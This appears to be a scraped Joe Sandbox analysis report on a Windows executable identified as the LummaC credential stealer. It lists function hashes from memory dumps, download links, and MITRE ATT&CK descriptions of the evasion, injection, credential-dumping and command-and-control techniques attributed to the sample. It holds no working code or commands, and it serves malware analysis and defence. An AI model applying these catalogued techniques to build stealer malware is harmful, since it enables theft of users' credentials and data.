Instruction ID: caf312393fb70dba38bdb16e9caccf3209c090423c01efe630a4332d495c4348
Opcode Fuzzy Hash: 2ade4a2c2b0887d1052e66eacc469b5f2290cb8ac5a2c6a6f10878ac488fc8bd
Instruction Fuzzy Hash: 0E2190F7F6192147F7984839DDA836251838BD1325F2F86798F18ABBC9DC7D9C0A4284

Function 061D5E96 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8791502a5df83bb529b64b26ab3e43920288534a496070fb343f7a09bf12f10e
Instruction ID: 5ab0d89b887a6290a31a02f8afde056d9c72b159139c7373724633b29711cfc3
Opcode Fuzzy Hash: 8791502a5df83bb529b64b26ab3e43920288534a496070fb343f7a09bf12f10e
Instruction Fuzzy Hash: 5A214DE7F2142107F7980838CD69376518397E4324F2F82798E4EA77C5EC3E9D091284

Function 061E8708 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538705bf6652325cc10f3293bf605d4182feb26e405b4cfad255104ccb2fac40
Instruction ID: 5730cd6b89001f246832eb908ea235c256edcdf8f19b3ad712142534d523727a
Opcode Fuzzy Hash: 538705bf6652325cc10f3293bf605d4182feb26e405b4cfad255104ccb2fac40
Instruction Fuzzy Hash: 43217FB3F516314BF35448B8CD993B2A542DB85315F2B82798F1CAB6C6DCBD1D486284

Function 061EB5AB Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef861db8b93c627ee43008df2010e10f24d7ab74f3f92272d7bcd0c2e040d1e
Instruction ID: 40e462b03a2ee38b09b9f7c4b5272e98f12f5483496fa1a7a38e8374067b4a64
Opcode Fuzzy Hash: 6ef861db8b93c627ee43008df2010e10f24d7ab74f3f92272d7bcd0c2e040d1e
Instruction Fuzzy Hash: 08216AB3E5192107F3AC8825DCA93629243A794324F2F827E8F5D677C5DC7E5C0612C4

Function 061EE26C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2538623077fb3439385e7ceb920b2bbd08beec42bb663d8a6b618ce1e50ef65d
Instruction ID: 756ba5bc2af4f9b4e396238c8215c47fb92390e7236982b82b9e6aed5a876bb1
Opcode Fuzzy Hash: 2538623077fb3439385e7ceb920b2bbd08beec42bb663d8a6b618ce1e50ef65d
Instruction Fuzzy Hash: D1217CF7F1122147F3544979DC583A225C3DBE2315F2B82798B29ABBC9E87D4D0B5244

Function 061F0C63 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afc168b4e9a134b8460932bed7d69c71a93c87a8c832f73b9429bd5516d85b1a
Instruction ID: 26c77038d9a4c31d52ee9341e209f486d286b7b715fd0baf44fd63f2664b94a8
Opcode Fuzzy Hash: afc168b4e9a134b8460932bed7d69c71a93c87a8c832f73b9429bd5516d85b1a
Instruction Fuzzy Hash: 81213AB3E9122607F3544879DD89362A1439BD5314F2F82398E1CABBC6EC7E9D0A1284

Function 061E777A Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f36355fe8a13abd38e6a4e47dbce6228c9ed90c00b45a5eaa369e2a2ef44e4
Instruction ID: e5530ce2e67e2ffe676ee706f18d40a4228a8e5b6cc3ec467d5bd13bd59af412
Opcode Fuzzy Hash: d4f36355fe8a13abd38e6a4e47dbce6228c9ed90c00b45a5eaa369e2a2ef44e4
Instruction Fuzzy Hash: 551110B7E5252147F3984879CC683A2654387C1321F2B83788E286BBD5DCBE1D0A4298

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Windows Analysis Report
file.exe